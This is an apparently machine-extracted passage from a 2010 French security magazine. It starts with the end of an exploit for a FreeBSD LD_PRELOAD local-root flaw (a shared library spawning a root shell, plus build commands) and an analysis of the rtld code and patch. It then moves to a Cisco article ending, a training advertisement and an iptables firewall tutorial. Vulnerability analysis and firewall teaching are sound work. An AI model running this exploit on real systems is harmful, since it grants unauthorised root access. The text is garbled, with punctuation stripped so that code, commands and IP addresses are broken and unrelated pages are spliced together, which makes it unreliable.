system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 16: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

